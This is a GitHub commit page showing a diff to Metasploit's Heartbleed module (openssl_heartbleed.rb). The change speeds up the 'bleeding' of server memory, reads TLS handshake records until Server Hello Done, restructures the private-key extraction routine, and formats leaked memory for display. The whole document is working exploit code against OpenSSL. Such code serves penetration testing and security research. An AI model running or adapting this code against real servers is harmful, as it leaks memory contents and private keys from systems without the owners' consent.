Skip to content

Commit 4d97e33

Browse files
author
Tom Spencer
committed
Dramatic speed-up in bleeding, improved verbose output of leaked data.
1 parent dba1811 commit 4d97e33

File tree

1 file changed

+67
-31
lines changed

1 file changed

+67
-31
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 67 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
7171
0x00ff # Unknown
7272
]
7373

74+
SSL_RECORD_HEADER_SIZE = 0x05
7475
HANDSHAKE_RECORD_TYPE = 0x16
7576
HEARTBEAT_RECORD_TYPE = 0x18
7677
ALERT_RECORD_TYPE = 0x15
@@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
7980
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
8081
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
8182

82-
8383
TLS_VERSION = {
8484
'SSLv3' => 0x0300,
8585
'1.0' => 0x0301,
@@ -99,6 +99,10 @@ class Metasploit3 < Msf::Auxiliary
9999
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
100100
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
101101

102+
# For verbose output, deduplicate repeated characters beyond this threshold
103+
DEDUP_REPEATED_CHARS_THRESHOLD = 400
104+
105+
102106
def initialize
103107
super(
104108
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
@@ -203,18 +207,14 @@ def run
203207

204208
# Main method
205209
def run_host(ip)
206-
# initial connect to get public key and stuff
207-
connect_result = establish_connect
208-
disconnect
209-
return if connect_result.nil?
210210

211211
case action.name
212212
when 'SCAN'
213213
loot_and_report(bleed)
214214
when 'DUMP'
215215
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
216216
when 'KEYS'
217-
getkeys
217+
get_keys
218218
else
219219
# Shouldn't get here, since Action is Enum
220220
print_error("Unknown Action: #{action.name}")
@@ -424,20 +424,15 @@ def establish_connect
424424

425425
vprint_status("#{peer} - Sending Client Hello...")
426426
sock.put(client_hello)
427-
server_hello = get_data
428-
unless server_hello
429-
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
430-
return nil
431-
end
432427

433-
server_resp_parsed = parse_ssl_record(server_hello)
428+
server_resp = get_server_hello
434429

435-
if server_resp_parsed.nil?
430+
if server_resp.nil?
436431
vprint_error("#{peer} - Server Hello Not Found")
437432
return nil
438433
end
439434

440-
server_resp_parsed
435+
server_resp
441436
end
442437

443438
# Generates a heartbeat request
@@ -455,7 +450,7 @@ def bleed
455450

456451
vprint_status("#{peer} - Sending Heartbeat...")
457452
sock.put(heartbeat_request(heartbeat_length))
458-
hdr = get_data(5)
453+
hdr = get_data(SSL_RECORD_HEADER_SIZE)
459454
if hdr.nil? || hdr.empty?
460455
vprint_error("#{peer} - No Heartbeat response...")
461456
disconnect
@@ -533,16 +528,34 @@ def loot_and_report(heartbeat_data)
533528
print_status("#{peer} - Heartbeat data stored in #{path}")
534529
end
535530

536-
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
531+
# Convert non-printable characters to periods
532+
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')
533+
534+
# Keep this many duplicates as padding around the deduplication message
535+
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round
536+
537+
# Remove duplicate characters
538+
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) { |s|
539+
s[0,duplicate_pad] +
540+
' repeated ' + ( s.length - (2 * duplicate_pad) ).to_s + ' times ' +
541+
s[-duplicate_pad,duplicate_pad]
542+
}
543+
544+
# Show abbreviated data
545+
vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}")
537546

538547
end
539548

540549
#
541-
# Keydumoing helper methods
550+
# Keydumping helper methods
542551
#
543552

544553
# Tries to retreive the private key
545-
def getkeys
554+
def get_keys
555+
connect_result = establish_connect
556+
disconnect
557+
return if connect_result.nil?
558+
546559
print_status("#{peer} - Scanning for private keys")
547560
count = 0
548561

@@ -681,12 +694,33 @@ def client_hello
681694
ssl_record(HANDSHAKE_RECORD_TYPE, data)
682695
end
683696

684-
# Parse SSL header
685-
def parse_ssl_record(data)
686-
ssl_records = []
687-
remaining_data = data
697+
def get_ssl_record
698+
hdr = get_data(SSL_RECORD_HEADER_SIZE)
699+
700+
unless hdr
701+
vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...")
702+
return nil
703+
end
704+
705+
len = hdr.unpack('Cnn')[2]
706+
data = get_data(len)
707+
708+
unless data
709+
vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...")
710+
return nil
711+
end
712+
713+
hdr << data
714+
end
715+
716+
# Get and parse server hello response until we hit Server Hello Done or timeout
717+
def get_server_hello
718+
server_done = nil
688719
ssl_record_counter = 0
689-
while remaining_data && remaining_data.length > 0
720+
721+
remaining_data = get_ssl_record
722+
723+
while remaining_data and remaining_data.length > 0
690724
ssl_record_counter += 1
691725
ssl_unpacked = remaining_data.unpack('CH4n')
692726
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
@@ -702,17 +736,19 @@ def parse_ssl_record(data)
702736
else
703737
ssl_data = remaining_data[5, ssl_len]
704738
handshakes = parse_handshakes(ssl_data)
705-
ssl_records << {
706-
:type => ssl_type,
707-
:version => ssl_version,
708-
:length => ssl_len,
709-
:data => handshakes
710-
}
739+
740+
# Stop once we receive a SERVER_HELLO_DONE
741+
if handshakes and handshakes.length > 0 and handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
742+
server_done = true
743+
break
744+
end
745+
711746
end
712-
remaining_data = remaining_data[(ssl_len + 5)..-1]
747+
748+
remaining_data = get_ssl_record
713749
end
714750

715-
ssl_records
751+
server_done
716752
end
717753

718754
# Parse Handshake data returned from servers

0 commit comments

Comments
 (0)